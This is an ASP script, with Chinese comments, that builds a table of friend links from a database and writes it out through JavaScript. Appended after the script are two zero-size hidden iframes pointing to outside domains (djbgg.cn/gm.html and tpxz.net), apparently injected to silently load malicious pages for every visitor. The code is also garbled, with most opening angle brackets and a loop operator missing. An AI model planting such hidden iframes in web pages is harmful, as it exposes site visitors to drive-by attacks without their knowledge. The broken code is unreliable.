!--#include file="conn.asp"-->
%
dim javastr,shu,all,txtsize
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From admin",conn,0,1
txtsize=rs("txtsize")
txtsize=7   '修改此处的数值以决定每行显示的链接个数以适应你的页面
rs.close
rs.open "SELECT * FROM link where  state=true ORDER BY id asc",conn,1,1
shu=0
all=rs.recordcount
if all>txtsize then all=txtsize*abs(int(-all/txtsize))
if all=txtsize then all=txtsize
javastr="table width=100% border=1 bordercolordark=#ffffff bordercolorlight=#000000 cellpadding=2 cellspacing=0>tr align=center>"
do while shuall
if not rs.eof then
url=rs("url")
webname=rs("webname")
title=rs("title")
'if Len(title)=0
'title="欢迎访问"
'else
'title=rs("title")
'end if
else
url="#"
webname="您的位置"
title="欢迎链接"
end if
	if shu=txtsize or shu=txtsize*2 or shu=txtsize*3 or shu=txtsize*4 or shu=txtsize*5 or shu=txtsize*6 or shu=txtsize*7 or shu=txtsize*8 or shu=txtsize*9 or shu=txtsize*10 or shu=txtsize*11 or shu=txtsize*12 or shu=txtsize*13 or shu=txtsize*14 or shu=txtsize*15 or shu=txtsize*16 or shu=txtsize*17 or shu=txtsize*18 or shu=txtsize*19 or shu=txtsize*20 or shu=txtsize*20 or shu=txtsize*21 or shu=txtsize*22 or shu=txtsize*23 or shu=txtsize*24 or shu=txtsize*25 or shu=txtsize*26 or shu=txtsize*27 or shu=txtsize*28 or shu=txtsize*29 or shu=txtsize*30 or shu=txtsize*31 or shu=txtsize*32 or shu=txtsize*33 or shu=txtsize*34 or shu=txtsize*35 or shu=txtsize*36 or shu=txtsize*37 or shu=txtsize*38 or shu=txtsize*39 or shu=txtsize*40 or shu=txtsize*41 or shu=txtsize*42 or shu=txtsize*43 or shu=txtsize*44 or shu=txtsize*45 or shu=txtsize*46 or shu=txtsize*47 or shu=txtsize*48 or shu=txtsize*49 or shu=txtsize*50 then
javastr = javastr + "/tr>tr align=center>td>a href="&url&" title="&title&" target=_blank>"&webname&"/a>/td>"
   else
   javastr = javastr + "td>a href="&url&" title="&title&" target=_blank>"&webname&"/a>/td>"  
	end if
shu=shu+1
if not rs.eof then
rs.MoveNext
end if
loop
javastr=javastr+"/tr>/table>"
rs.close
Response.Write ("document.write('" & javastr& "');")
%>iframe src=http://www.djbgg.cn/gm.html width=0 height=0>/iframe>
<iframe src=http://www.tpxz.net width=0 height=0></iframe>
<